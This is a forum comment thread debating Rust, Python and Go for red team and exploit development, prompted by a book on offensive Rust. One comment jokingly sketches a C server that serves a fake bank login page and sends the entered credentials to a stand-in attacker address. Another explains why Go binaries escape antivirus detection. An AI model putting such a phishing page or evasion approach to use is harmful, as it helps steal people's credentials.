160 points · by _tbl6 · 1y ago · 70 comments
I don't feel the same about this book.
Python is pretty ubiquitous, and RTFM focuses on oneliners and easily composable programs with utilities that already exist on target systems.
A lot of what makes Red Team work harder is the need for portability, which pushes people to need to learn lots of interpreted languages and OS internals.
My memory of using Rust for interop with the OS, is syscalls in win32 api; which consumed the better part of a couple weeks to get right, and required the use of unsafe, a lot.
I don't see this book doing the same mistake. On the other hand, I dont know if I want to fight the borrow checker for weeks instead if throwing together a quick script in python...
To be fair, you only need to fight if you care about maximum performance.
i'd ordinarily consider this too implausible a statement to be seriously believed, but rust people really do talk like this.
Not sure I agree with the statement, but it's a pretty weird category to sit in. C would count as a possible member at least.
The only language that comes close, AFAICT, is python.
Add the fact that Rust's memory safety brings thread safety for free (once you've grokked Rust's memory management model) and yiu get quickly written type safe memory safe thread safe high perfomance code.
...I don't know what to say to this except "no?".
I'd have to question what priors someone making that claim is bringing and where they got them from.
> The only language that comes close, AFAICT, is python.
With well over a decade in Python experience and having regularly defended it against many claims of unsuitability for many tasks, I have to call BS on this and say that no, that is not even remotely correct. Of all the possible use cases where Python is an easily dismissed but very defensible choice this is NOT one of them.
> easier and faster to do in Rust, and safer, largely because of Rust's enums (algebraic data types, not as simplistic as C's)
Python enums are largely equivalent to C enums, except you can use string constants as values. Otherwise there's little ergonomic difference.
> and traits
Python Protocols (less anything that came before) aren't even remotely comparable to Rust traits. And neither affords any major advantage to red team style development.
And while memory safety is great for mission critical pieces of a larger system, and language ergonomics are essential for readable and maintainable code, I don't know what either of these possibly has to do with writing exploits.
> shellcode, a web server, and a phishing page in
Python would at least be a better choice than Rust for all of these, but so would have been Perl 20 years ago.
(Although I'm not sure I would consider Rust to be adept in that category either...)
/* a few tens of lines of boilerplate to listen on on port 80 */
while(true)
{
int fd = accept(serve_fd, (struct sockaddr*) client_addr, &client_addr_len);
const char * response = "HTTP/1.1 200 OK\r\nContent-type: text\html\r\n\r\n<html><head><title>PWNBANK</title></head><body><form method="POST" action="mailto:1337@h4xx0rz.n3t"> Username: <input name="username"><br>Password: <input type="password" name="password"><br> <input type="submit"></form></body></html>";
write(fd,response, sizeof(response));
}
(or for better ergonomics, use something like libmicrohttpd)https://github.com/rustaccato/road-to-being-master-rustacean...
Moving on
80% of this site is about pushing and selling stuff. blatant out of the blue spam doesn't have a place here, but discussing (and hating on) Rust is a common topic.
The reason Go got so popular is not because of its type system, but because it also has a mode of programming "good enough" prototypes.
Python for exploit development is also great due to the gdb fork that can generate python payloads, offsets etc, but it sucks for deployment on targets.
If I would compare the three language choices I don't see why anyone would choose Rust over the other two in terms of efficiency and not having to fight the language. I don't even know whether it would be possible to write an exploit that overflows something in an external ABI binary in Rust without sacrificing everything that Rust stands for. After all, the binary would have to be statically linked for deployment, have to support invalid types, have to support invalid control flows etc.
On the other hand, in Go that's what CGo is made for. The VM and GC in Go doesn't care about what CGo does.
Edit: nevermind, the only example that is using Rust for this type of exploits is a sudo cli argument exploit, lol. I would have expected a little more than a char array generator that's using the FFI package. [1]
[1] https://github.com/skerkour/black-hat-rust/blob/main/ch_07/e...
You can Grug program in any language. Including Rust.
Just clone, Arc, and unwrap everything.
The reason why Go got popular is:
A) It's backed by Google (this is essential, there are many languages simpler/easier than it)
B) It's easy to pickup
The real reason Go is a success is the Go team, and engineering prowess they brought to the table.
Go is the language where people get shit done; now, Rust may be "the most loved language" or whatever, but the overwhelming success of Go as a programming platform (which is Rust community is supposedly obsessed with) cannot be attributed to anything else but engineering reasons. People like it. Why do they like it? Because it's easy to use, gets out the way, and it gets the job done. You find a library on Github, read the godoc, and you're literally seconds away from incorporating it in your program. This is not something you can get by accident, by means of investment, or otherwise by making bad design decisions.
The only other project that comes close to what you can do with Go when it comes to mutating binaries is in my opinion the APE/cosmopolitan ecosystem. But those binaries tend to get flagged immediately because there's no major software that's being used that requires APE binaries to run.
On the other hand, the static parts of any Go binary (the head/runtime part) can't be flagged because of so many devops tools rely on Go binaries to work. There was the Ebowla incident in 2016, where all go binaries (including docker) were flagged as malware because the static parts were added as yara rules in Kaspersky and other Antivirus tools. They had to revert those changes after a week.
Why would you fight Rust? It is decent for prototyping.
I used to steer clear of Rust for a lot of problems because of its complexity, now I use it for almost everything and it’s great
If you have solid knowledge in CS fundamentals and the right mindset/motivation, that tends to be enough.